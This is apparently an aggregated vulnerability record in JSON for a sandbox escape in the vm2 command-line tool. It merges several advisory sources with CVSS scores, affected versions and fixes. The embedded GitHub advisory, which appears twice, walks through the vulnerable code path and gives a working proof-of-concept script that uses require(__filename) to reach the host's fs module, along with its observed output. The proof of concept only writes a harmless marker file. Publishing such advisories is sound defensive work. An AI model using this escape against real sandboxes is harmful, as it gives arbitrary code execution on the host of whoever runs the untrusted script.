{"id":"CVE-2026-92950","aliases":["CLSA-2026-1790888247","CLSA-2026-1790937673","EUVD-2026-81599","GHSA-8686-vhfx-7r3j","GHSA-8hr7-r645-pc6w","GHSA-hc6q-4vvg-jf79","GHSA-jxxv-8r27-vm4p","ROOT-APP-NPM-CVE-2026-92950"],"status":"published","title":"vm2 before 3.11.7 Sandbox Escape via CLI require","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00197,"percentile":0.09532,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1188","CWE-453","CWE-829"],"published":"2026-09-17T13:46:10Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.7"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.10.5-aikido.8","3.11.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.8","3.11.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.6"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.5-tuxcare.0"},{"fixed":"3.11.5-tuxcare.3"}]}],"versions":["3.11.5","3.11.5-tuxcare.1","3.11.5-tuxcare.2"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.2"}]}],"versions":["3.10.0","3.10.0-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-aikido.8"},{"fixed":"3.11.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.8"},{"fixed":"3.11.6-root.io.1"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92950","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hc6q-4vvg-jf79"},{"url":"https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jxxv-8r27-vm4p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92950.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-92950","title":"vm2 before 3.11.7 Sandbox Escape via CLI require","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"published","published":"2026-09-17T13:46:10.113Z","modified":"2026-09-17T14:24:26.002Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-453"],"updated_at":"2026-11-02T13:48:24.536396Z"}],"euvd":[{"id":"EUVD-2026-81599","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"published","published":"2026-09-17T13:46:10Z","modified":"2026-09-17T14:24:26Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:28:12.076337Z"}],"ghsa":[{"id":"GHSA-hc6q-4vvg-jf79","title":"Duplicate Advisory: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:39:30Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-453"],"updated_at":"2026-11-02T14:41:24.739884Z"},{"id":"GHSA-jxxv-8r27-vm4p","title":"vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 \u003cfile\u003e` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the\n   attacker-authored script path. The CLI invokes:\n   ```js\n   NodeVM.file(path, { verbose: true, require: { external: true } });\n   ```\n   Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n   `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`\n   (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n   `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n   `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`\n   (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n   `pathContext = () =\u003e 'host'` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n   `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n   `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n   `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n   ```js\n   isPathAllowed(filename) {\n       if (this.rootPaths === undefined) return true;\n   ```\n   With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n   (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n   ```js\n   loadJS(vm, mod, filename) {\n       if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);\n       const m = this.hostRequire(filename);   // ← host-realm require()\n       mod.exports = vm.readonly(m);\n   }\n   ```\n   `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n   host `require()`. The required module's **top-level body executes in the host\n   realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n   constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n   identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n'use strict';\ntry {\n    // Host realm: fs is available - write sentinel and stop.\n    const fs = require('fs');\n    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\\n');\n    console.log('HOST realm: wrote /tmp/vm2.proof');\n} catch (e) {\n    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -\n    // the CLI resolver loads it via host require() (resolver-compat.js:76).\n    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');\n    require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module 'fs'); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require('fs')` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.","status":"published","published":"2026-10-01T15:40:45Z","modified":"2026-10-01T15:40:47Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-453","CWE-829","CWE-1188"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-92950","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"published","published":"2026-09-17T14:18:00.637Z","modified":"2026-09-17T15:17:00.91Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-453"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92950","title":"vm2 before 3.11.7 Sandbox Escape via CLI require","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"published","published":"2026-09-17T13:46:10.113Z","modified":"2026-10-28T02:30:44.928125042Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-453"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"GHSA-hc6q-4vvg-jf79","title":"Duplicate Advisory: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:45:06.737790419Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-453"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"GHSA-jxxv-8r27-vm4p","title":"vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 \u003cfile\u003e` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the\n   attacker-authored script path. The CLI invokes:\n   ```js\n   NodeVM.file(path, { verbose: true, require: { external: true } });\n   ```\n   Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n   `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`\n   (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n   `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n   `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`\n   (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n   `pathContext = () =\u003e 'host'` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n   `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n   `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n   `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n   ```js\n   isPathAllowed(filename) {\n       if (this.rootPaths === undefined) return true;\n   ```\n   With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n   (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n   ```js\n   loadJS(vm, mod, filename) {\n       if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);\n       const m = this.hostRequire(filename);   // ← host-realm require()\n       mod.exports = vm.readonly(m);\n   }\n   ```\n   `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n   host `require()`. The required module's **top-level body executes in the host\n   realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n   constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n   identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n'use strict';\ntry {\n    // Host realm: fs is available - write sentinel and stop.\n    const fs = require('fs');\n    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\\n');\n    console.log('HOST realm: wrote /tmp/vm2.proof');\n} catch (e) {\n    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -\n    // the CLI resolver loads it via host require() (resolver-compat.js:76).\n    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');\n    require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module 'fs'); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require('fs')` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.","status":"published","published":"2026-10-01T15:40:45Z","modified":"2026-10-01T16:00:04.783958622Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1188","CWE-453","CWE-829"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"CLSA-2026-1790888247","title":"TuxCare security update for vm2 (15 CVEs)","description":"TuxCare rebuilt vm2 to address 15 CVEs. Fixed in 3.11.5-tuxcare.3.","status":"published","published":"2026-10-01T20:57:27Z","modified":"2026-10-15T09:47:57.771844817Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790937673","title":"TuxCare security update for vm2 (7 CVEs)","description":"TuxCare rebuilt vm2 to address 7 CVEs. Fixed in 3.10.0-tuxcare.2.","status":"published","published":"2026-10-02T10:41:13Z","modified":"2026-10-15T09:47:38.707369783Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2026-92950","title":"CVE-2026-92950 in vm2 - Patched by Root","description":"Root has patched CVE-2026-92950 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T07:16:29Z","modified":"2026-10-19T08:15:07.369694374Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
